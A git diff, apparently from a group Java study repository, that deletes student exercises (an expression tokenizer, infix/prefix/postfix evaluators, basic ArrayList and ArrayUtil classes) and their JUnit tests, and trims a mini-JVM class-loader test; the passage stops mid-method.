-}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java
deleted file mode 100644
index f6b4681e46..0000000000
--- a/group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java
+++ /dev/null
@@ -1,75 +0,0 @@
-package com.coding.week6.exprNew;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public enum Operator {
-    ADD("+", 1) {
-        public float apply(float x, float y){
-            return x + y;
-        }
-    },
-
-    SUB("-", 1) {
-        @Override
-        public float apply(float x, float y) {
-            return x - y;
-        }
-    },
-
-    MULT("*", 2) {
-        @Override
-        public float apply(float x, float y) {
-            return x * y;
-        }
-    },
-
-    DIVI("/", 2) {
-        @Override
-        public float apply(float x, float y) {
-            return x / y;
-        }
-    };
-    private String symbol;
-    private int    priority;
-
-    Operator(String symbol, int priority) {
-        this.symbol = symbol;
-        this.priority = priority;
-    }
-
-    public boolean hasHigherPriority(Operator o) {
-        return this.priority > o.priority;
-    }
-
-    public String symbol() {
-        return symbol;
-    }
-
-    public static List<String> symbols() {
-        List<String> symbos = new ArrayList<>();
-        for (Operator o : Operator.values()) {
-            symbos.add(o.symbol);
-        }
-        return symbos;
-    }
-
-    public abstract float apply(float x, float y);
-
-    private static final Map<String, Operator> map = new HashMap<String, Operator>();
-
-    static {
-        for (Operator o : Operator.values()) {
-            map.put(o.symbol, o);
-        }
-    }
-
-    public static Map<String, Operator> getOperatorMap() {
-        return map;
-    }
-}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java
deleted file mode 100644
index c925a22705..0000000000
--- a/group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package com.coding.week6.exprNew;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public class Token {
-
-    private int    type;
-    private String value;
-
-    static final int NUMBER   = 1;
-    static final int OPERATOR = 2;
-    static final int LEFT_BRACKET  = 3;
-    static final int RIGHT_BRACKET  = 4;
-    public Token(int type, String value) {
-        this.type = type;
-        this.value = value;
-    }
-
-
-    public boolean isNumber(){
-        return type == NUMBER;
-    }
-
-    public boolean isOperator(){
-        return type == OPERATOR;
-    }
-
-    public boolean isLeftBracket() {
-        return type == LEFT_BRACKET;
-    }
-
-    public boolean isRightBracket() {
-        return type == RIGHT_BRACKET;
-    }
-
-    public float getFloatValue() {
-        if (isNumber())
-            return Integer.valueOf(value);
-        else
-            throw new RuntimeException("not a number");
-    }
-
-    public String toString() {
-        return value;
-    }
-
-
-    public Operator getOperator() {
-        if (isOperator()) {
-            return Operator.getOperatorMap().get(value);
-        } else {
-            throw new RuntimeException("not a operator");
-        }
-    }
-
-
-    public String getValue() {
-        return value;
-    }
-
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java
deleted file mode 100644
index 52757dc0c7..0000000000
--- a/group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coding.week6.exprNew;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public class TokenParser {
-
-    private static List<String> operators = Operator.symbols();
-    public List<Token> parse(String expr) {
-        List<Token> tokens = new ArrayList<>();
-        int i = 0;
-        while (i < expr.length()) {
-            char c = expr.charAt(i);
-            Token token;
-            if (Character.isDigit(c)) {
-                int nextOperIndex = getNextOperIndex(i, expr);
-                String n = expr.substring(i, nextOperIndex);
-                token = new Token(Token.NUMBER, n);
-                tokens.add(token);
-                i = nextOperIndex;
-            } else if (isOperator(c)) {
-                token = new Token(Token.OPERATOR, c+"");
-                tokens.add(token);
-                i++;
-            } else if (String.valueOf(c).matches("\\s")){
-                i++;
-            } else if (c == '(') {
-                token = new Token(Token.LEFT_BRACKET, String.valueOf(c));
-                tokens.add(token);
-                i++;
-            } else if (c == ')') {
-                token = new Token(Token.RIGHT_BRACKET, String.valueOf(c));
-                tokens.add(token);
-                i++;
-            } else {
-                throw new RuntimeException(c +" is not number or support operator");
-            }
-        }
-        return tokens;
-    }
-
-    private int getNextOperIndex(int i, String expr) {
-        while (Character.isDigit(expr.charAt(i))) {
-            i++;
-            if (i == expr.length()) {
-                break;
-            }
-        }
-        return i;
-    }
-
-    private boolean isOperator(char c) {
-      return  operators.contains(String.valueOf(c));
-    }
-
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java b/group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java
deleted file mode 100644
index 6717f571ee..0000000000
--- a/group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package com.coding.week7;
-
-import com.coding.week6.exprNew.Operator;
-import com.coding.week6.exprNew.Token;
-import com.coding.week6.exprNew.TokenParser;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-		/**
-		 1 建立符号栈
-		 2 顺序扫描中序表达式
-		 a） 是数字， 直接输出
-		 b） 是运算符
-		 i : “(” 直接入栈
-		 ii : “)” 将符号栈中的元素依次出栈并输出, 直到 “(“, “(“只出栈, 不输出
-		 iii: 其他符号, 将符号栈中的元素依次出栈并输出, 直到 遇到比当前符号优先级更低的符号或者”(“。 将当前符号入栈。
-		 3 扫描完后, 将栈中剩余符号依次输出
-		 */
-		List<Token> targetTokens = new ArrayList<>();
-		TokenParser tokenParser = new TokenParser();
-		List<Token> sourceTokes = tokenParser.parse(expr);
-		Stack<Token> operStack = new Stack<Token>();
-		for (Token token : sourceTokes) {
-			if (token.isNumber()) {
-				targetTokens.add(token);
-			} else {
-				//左括号
-				if (token.isLeftBracket()) {
-					operStack.push(token);
-				//右括号
-				} else if (token.isRightBracket()) {
-					while (!operStack.isEmpty()) {
-						Token t = operStack.peek();
-						if (t.isLeftBracket()) {
-							operStack.pop();
-							break;
-						} else {
-							targetTokens.add(operStack.pop());
-						}
-					}
-				//普通运算符
-				} else {
-					Operator oper = token.getOperator();
-					if (!operStack.isEmpty()) {
-						Token t = operStack.peek();
-						while (!t.isLeftBracket() && !oper.hasHigherPriority(t.getOperator()) && !operStack.isEmpty()) {
-							t = operStack.pop();
-							targetTokens.add(t);
-						}
-					}
-					operStack.push(token);
-				}
-			}
-		}
-		//将栈中操作符全部输出
-		while (!operStack.isEmpty()) {
-			targetTokens.add(operStack.pop());
-		}
-		return targetTokens;
-	}
-	
-	
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java b/group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java
deleted file mode 100644
index 8fb78e6a8d..0000000000
--- a/group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coding.week7;
-
-import com.coding.week6.exprNew.Operator;
-import com.coding.week6.exprNew.Token;
-import com.coding.week6.exprNew.TokenParser;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-	String expr = null;
-	final Stack<Float> numStack;
-	final Stack<Operator> operStack;
-
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-		this.numStack = new Stack<>();
-		this.operStack = new Stack<>();
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-		for (Token token : tokens) {
-			if (token.isNumber()) {
-				numStack.push(token.getFloatValue());
-			} else if (token.isOperator()) {
-				if (numStack.size() >= 2) {
-					Float num1 = numStack.pop();
-					Float num2 = numStack.pop();
-					Float result = token.getOperator().apply(num2, num1);
-					numStack.push(result);
-				}
-			}
-		}
-		return numStack.pop();
-	}
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java b/group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java
deleted file mode 100644
index 1bb8e4fd8a..0000000000
--- a/group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coding.week7;
-
-import com.coding.week6.exprNew.Operator;
-import com.coding.week6.exprNew.Token;
-import com.coding.week6.exprNew.TokenParser;
-
-import java.util.Collections;
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-	String expr = null;
-	final Stack<Float>    numStack;
-	final Stack<Operator> operStack;
-
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-		numStack = new Stack<>();
-		operStack = new Stack<>();
-	}
-
-	public float evaluate() {
-		TokenParser parser = new TokenParser();
-		parser.parse(expr);
-		List<Token> tokens = parser.parse(expr);
-		Collections.reverse(tokens);
-		for (Token token : tokens) {
-			if (token.isNumber()) {
-				numStack.push(token.getFloatValue());
-			} else if (token.isOperator()) {
-				if (numStack.size() >= 2) {
-					Float num1 = numStack.pop();
-					Float num2 = numStack.pop();
-					Float result = token.getOperator().apply(num1, num2);
-					numStack.push(result);
-				}
-			}
-		}
-		return numStack.pop();
-	}
-	
-	
-}
diff --git a/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java b/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java
index b9561f243b..a03f29c0c3 100644
--- a/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java
+++ b/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java
@@ -2,27 +2,23 @@
 
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassIndex;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.BiPushCmd;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.OneOperandCmd;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
-import com.coding.mini_jvm.src.com.coderising.jvm.field.Field;
 import com.coding.mini_jvm.src.com.coderising.jvm.loader.ClassFileLoader;
-import com.coding.mini_jvm.src.com.coderising.jvm.method.Method;
 import com.coding.mini_jvm.src.com.coderising.jvm.util.Util;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
-import java.util.List;
+
+
+
 
 
 public class ClassFileloaderTest {
 
 	
-	static String path1 = "H:\\sourceCode\\coding2017\\group24\\494800949";
+	static String path1 = "H:\\sourceCode\\coding2017\\group24\\494800949\\build\\classes\\test";
 	static String path2 = "C:\temp";
 
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
@@ -31,7 +27,7 @@ public class ClassFileloaderTest {
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "EmployeeV1";
+		String className = "com.coding.mini_jvm.test.EmployeeV1";
 
 		clzFile = loader.loadClass(className);
 //		clzFile.print();
@@ -174,153 +170,4 @@ public void testClassIndex(){
 		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
 		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
 	}
-
-
-
-	/**
-	 * 下面是第三次JVM课应实现的测试用例
-	 */
-	@Test
-	public void testReadFields(){
-
-		List<Field> fields = clzFile.getFields();
-		Assert.assertEquals(2, fields.size());
-		{
-			Field f = fields.get(0);
-			Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-		}
-		{
-			Field f = fields.get(1);
-			Assert.assertEquals("age:I", f.toString());
-		}
-	}
-	@Test
-	public void testMethods(){
-
-		List<Method> methods = clzFile.getMethods();
-		ConstantPool pool = clzFile.getConstantPool();
-
-		{
-			Method m = methods.get(0);
-			assertMethodEquals(pool,m,
-					"<init>",
-					"(Ljava/lang/String;I)V",
-					"2ab7000c2a2bb5000f2a1cb50011b1");
-
-		}
-		{
-			Method m = methods.get(1);
-			assertMethodEquals(pool,m,
-					"setName",
-					"(Ljava/lang/String;)V",
-					"2a2bb5000fb1");
-
-		}
-		{
-			Method m = methods.get(2);
-			assertMethodEquals(pool,m,
-					"setAge",
-					"(I)V",
-					"2a1bb50011b1");
-		}
-		{
-			Method m = methods.get(3);
-			assertMethodEquals(pool,m,
-					"sayHello",
-					"()V",
-					"b2001c1222b60024b1");
-
-		}
-		{
-			Method m = methods.get(4);
-			assertMethodEquals(pool,m,
-					"main",
-					"([Ljava/lang/String;)V",
-					"bb000159122b101db7002d4c2bb6002fb1");
-		}
-	}
-
-	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-		String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-	}
-
-	/***************************第四次jvm测试用例 **************************/
-	@Test
-	public void testByteCodeCommand(){
-		{
-			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-			ByteCodeCommand[] cmds = initMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-			assertOpCodeEquals("4: aload_0", cmds[2]);
-			assertOpCodeEquals("5: aload_1", cmds[3]);
-			assertOpCodeEquals("6: putfield #15", cmds[4]);
-			assertOpCodeEquals("9: aload_0", cmds[5]);
-			assertOpCodeEquals("10: iload_2", cmds[6]);
-			assertOpCodeEquals("11: putfield #17", cmds[7]);
-			assertOpCodeEquals("14: return", cmds[8]);
-		}
-
-		{
-			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-			ByteCodeCommand [] cmds = setNameMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: aload_1", cmds[1]);
-			assertOpCodeEquals("2: putfield #15", cmds[2]);
-			assertOpCodeEquals("5: return", cmds[3]);
-
-		}
-
-		{
-			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-
-			assertOpCodeEquals("0: getstatic #28", cmds[0]);
-			assertOpCodeEquals("3: ldc #34", cmds[1]);
-			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-			assertOpCodeEquals("8: return", cmds[3]);
-
-		}
-
-		{
-			Method mainMethod = this.clzFile.getMainMethod();
-
-			ByteCodeCommand [] cmds = mainMethod.getCmds();
-
-			assertOpCodeEquals("0: new #1", cmds[0]);
-			assertOpCodeEquals("3: dup", cmds[1]);
-			assertOpCodeEquals("4: ldc #43", cmds[2]);
-			assertOpCodeEquals("6: bipush 29", cmds[3]);
-			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-			assertOpCodeEquals("11: astore_1", cmds[5]);
-			assertOpCodeEquals("12: aload_1", cmds[6]);
-			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-			assertOpCodeEquals("16: return", cmds[8]);
-		}
-
-	}
-
-	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-
-		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-
-		if(cmd instanceof OneOperandCmd){
-			if(cmd instanceof BiPushCmd){
-				acctual += " " + ((OneOperandCmd)cmd).getOperand();
-			} else{
-				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-			}
-		}
-		if(cmd instanceof TwoOperandCmd){
-			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-		}
-		Assert.assertEquals(expected, acctual);
-	}
 }
diff --git a/group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java b/group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java
deleted file mode 100644
index 7ef4b9ccfa..0000000000
--- a/group24/494800949/src/test/java/com/coding/week6/expr/InfixExprTestTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package com.coding.week6.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Administrator on 2017/4/16 0016.
- */
-public class InfixExprTestTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-
-        {
-            InfixExpr expr = new InfixExpr("2+3*4+5");
-            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-        }
-        {
-            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("3*20/2");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("20/2*3");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("10-30+50");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-    }
-
-
-    @Test
-    public void testFillStack() {
-        InfixExpr expr = new InfixExpr("10-30+50");
-        expr.fillStack();
-        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
-        Assert.assertEquals(expr.printOperatorStack(), "+");
-        expr = new InfixExpr("3*20+12*5-40/2");
-        expr.fillStack();
-        Assert.assertEquals(expr.printNumberStack(), "2.0,40.0,60.0,60.0");
-        Assert.assertEquals(expr.printOperatorStack(), "/,-,+");
-        expr = new InfixExpr("3*20/2");
-        expr.fillStack();
-        Assert.assertEquals(expr.printNumberStack(), "2.0,60.0");
-        Assert.assertEquals(expr.printOperatorStack(), "/");
-        expr = new InfixExpr("20/2*3");
-        expr.fillStack();
-        Assert.assertEquals(expr.printNumberStack(), "3.0,10.0");
-        Assert.assertEquals(expr.printOperatorStack(), "*");
-        expr = new InfixExpr("10-30+50");
-        expr.fillStack();
-        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
-        Assert.assertEquals(expr.printOperatorStack(), "+");
-    }
-
-
-
-}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java b/group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java
deleted file mode 100644
index 9939878611..0000000000
--- a/group24/494800949/src/test/java/com/coding/week6/exprNew/InfixExprTestTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-package com.coding.week6.exprNew;
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by Administrator on 2017/4/16 0016.
- */
-public class InfixExprTestTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-
-        {
-            InfixExpr expr = new InfixExpr("2+3*4+5");
-            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-        }
-        {
-            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("3*20/2");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("20/2*3|");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("10-30+50");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-    }
-
-
-//    @Test
-//    public void testFillStack() {
-//        InfixExpr expr = new InfixExpr("10-30+50");
-//        expr.fillStack();
-//        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
-//        Assert.assertEquals(expr.printOperatorStack(), "+");
-//        expr = new InfixExpr("3*20+12*5-40/2");
-//        expr.fillStack();
-//        Assert.assertEquals(expr.printNumberStack(), "2.0,40.0,60.0,60.0");
-//        Assert.assertEquals(expr.printOperatorStack(), "/,-,+");
-//        expr = new InfixExpr("3*20/2");
-//        expr.fillStack();
-//        Assert.assertEquals(expr.printNumberStack(), "2.0,60.0");
-//        Assert.assertEquals(expr.printOperatorStack(), "/");
-//        expr = new InfixExpr("20/2*3");
-//        expr.fillStack();
-//        Assert.assertEquals(expr.printNumberStack(), "3.0,10.0");
-//        Assert.assertEquals(expr.printOperatorStack(), "*");
-//        expr = new InfixExpr("10-30+50");
-//        expr.fillStack();
-//        Assert.assertEquals(expr.printNumberStack(), "50.0,-20.0");
-//        Assert.assertEquals(expr.printOperatorStack(), "+");
-//    }
-
-
-
-}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java b/group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java
deleted file mode 100644
index 1e202ed615..0000000000
--- a/group24/494800949/src/test/java/com/coding/week6/exprNew/TokenParserTest.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.coding.week6.exprNew;
-
-import org.junit.Test;
-
-import java.util.List;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public class TokenParserTest {
-
-    @Test
-    public void testParse() throws Exception {
-        TokenParser tokenParser = new TokenParser();
-        List<Token> tokens = tokenParser.parse("3* 20+1 2*5-40/2");
-        System.out.println(tokens);
-    }
-}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java b/group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java
deleted file mode 100644
index 54a59316d6..0000000000
--- a/group24/494800949/src/test/java/com/coding/week7/InfixToPostfixTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.week7;
-
-import com.coding.week6.exprNew.Token;
-import org.junit.Assert;
-import org.junit.Test;
-
-import java.util.List;
-
-/**
- * Created by Administrator on 2017/4/23 0023.
- */
-public class InfixToPostfixTest {
-
-    @Test
-    public void testConvert() throws Exception {
-        {
-            String expr = "9+(3-1)*3+10/2";//"9 3 1-3*+ 10 2/+"
-            List<Token> tokens = InfixToPostfix.convert(expr);
-            System.out.println(tokens);
-            Assert.assertEquals("9", tokens.get(0).toString());
-            Assert.assertEquals("3", tokens.get(1).toString());
-            Assert.assertEquals("1", tokens.get(2).toString());
-            Assert.assertEquals("-", tokens.get(3).toString());
-            Assert.assertEquals("3", tokens.get(4).toString());
-            Assert.assertEquals("*", tokens.get(5).toString());
-            Assert.assertEquals("+", tokens.get(6).toString());
-            Assert.assertEquals("10", tokens.get(7).toString());
-            Assert.assertEquals("2", tokens.get(8).toString());
-            Assert.assertEquals("/", tokens.get(9).toString());
-            Assert.assertEquals("+", tokens.get(10).toString());
-        }
-
-    }
-}
\ No newline at end of file
diff --git a/group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java b/group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java
deleted file mode 100644
index bde078a97e..0000000000
--- a/group24/494800949/src/test/java/com/coding/week7/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.week7;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java b/group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java
deleted file mode 100644
index bb2061303e..0000000000
--- a/group24/494800949/src/test/java/com/coding/week7/PrefixExprTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coding.week7;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java
deleted file mode 100644
index 8ae862da33..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayList.java
+++ /dev/null
@@ -1,115 +0,0 @@
-package basic.dataStructure;
-
-/**
- * Created by macvi on 2017/4/2.
- */
-public class ArrayList implements List {
-    private int size = 10;
-    //每次扩容的长度，默认为10
-    private int extendSize = 10;
-
-    private Object[] data = new Object[size];
-
-    public ArrayList(Object o) {
-        this.add(o);
-    }
-
-    public ArrayList(){}
-
-    public void add(Object o) {
-        if (this.size() == this.size) {
-            this.size += extendSize;
-            Object[] newData = new Object[this.size];
-            System.arraycopy(this.data, 0, newData, 0, this.data.length);
-            this.data = newData;
-        }
-
-        for (int i = 0; i < this.data.length; i++) {
-            if (data[i] == null) {
-                data[i] = o;
-                break;
-            } else continue;
-        }
-    }
-
-    public void add(int index, Object o) {
-        if (index > this.size() || index < 0) {
-            throw new IndexOutOfBoundsException();
-        }
-
-        if(this.size() == this.size){
-            this.size += extendSize;
-        }
-
-        Object[] newData = new Object[this.size];
-
-        System.arraycopy(this.data, 0, newData, 0, index);
-        newData[index] = o;
-        System.arraycopy(this.data, index, newData, index + 1, this.size() - index);
-
-        this.data = newData;
-    }
-
-    public Object get(int index) {
-        if(index > this.size() || index < 0){
-            throw new IndexOutOfBoundsException();
-        }
-        for(int i = 0; i < this.size(); i ++){
-            if(index == i){
-                return this.data[i];
-            }
-        }
-
-        return null;
-    }
-
-    public Object remove(int index) {
-        if(index > this.size() || index < 0){
-            throw new IndexOutOfBoundsException();
-        }
-
-        Object[] newData = new Object[this.size];
-        Object removed = this.get(index);
-
-        System.arraycopy(this.data, 0, newData, 0, index);
-        System.arraycopy(this.data, index + 1, newData, index, this.size() - index);
-        this.data = newData;
-        return removed;
-    }
-
-    public int size() {
-        int size = 0;
-        for(Object obj : this.data){
-            if(obj != null){
-                size += 1;
-            }
-        }
-
-        return size;
-    }
-
-    public boolean contains(Object obj){
-        for(int i = 0; i < this.size(); i++){
-            if(obj == this.get(i)){
-                return true;
-            }
-        }
-
-        return false;
-    }
-
-    @Override
-    public String toString() {
-        StringBuffer sb = new StringBuffer();
-        for(Object obj : data){
-            if(obj != null){
-                sb.append(obj.toString()).append(",");
-            }else {
-//                sb.append("null,");
-                continue;
-            }
-        }
-
-        return sb.toString();
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java
deleted file mode 100644
index 22bccaaf5b..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/ArrayUtil.java
+++ /dev/null
@@ -1,245 +0,0 @@
-package basic.dataStructure;
-
-/**
- * @author : 温友朝
- * @date : 2017/4/5
- */
-public class ArrayUtil {
-    /**
-     * 给定一个整形数组a , 对该数组的值进行置换
-     * 例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-     * 如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-     *
-     * @param origin
-     * @return
-     */
-    public void reverseArray(int[] origin) {
-        int length = origin.length;
-        int[] reversed = new int[length];
-        for (int i = length - 1; i >= 0; i--) {
-            reversed[length - i - 1] = origin[i];
-        }
-    }
-
-    /**
-     * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-     * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：
-     * {1,3,4,5,6,6,5,4,7,6,7,5}
-     *
-     * @param oldArray
-     * @return
-     */
-
-    public int[] removeZero(int[] oldArray) {
-        int length = oldArray.length;
-        int[] arr = new int[length];
-        int index = 0;
-        for (int i = 0; i < length; i++) {
-            if (oldArray[i] != 0) {
-                arr[index] = oldArray[i];
-                index++;
-            }
-        }
-        //非0的数据个数
-        int[] newArr = new int[index];
-        System.arraycopy(arr, 0, newArr, 0, index);
-        return newArr;
-    }
-
-    public static Object[] remove(Object[] oldArray, Object value){
-        int length = oldArray.length;
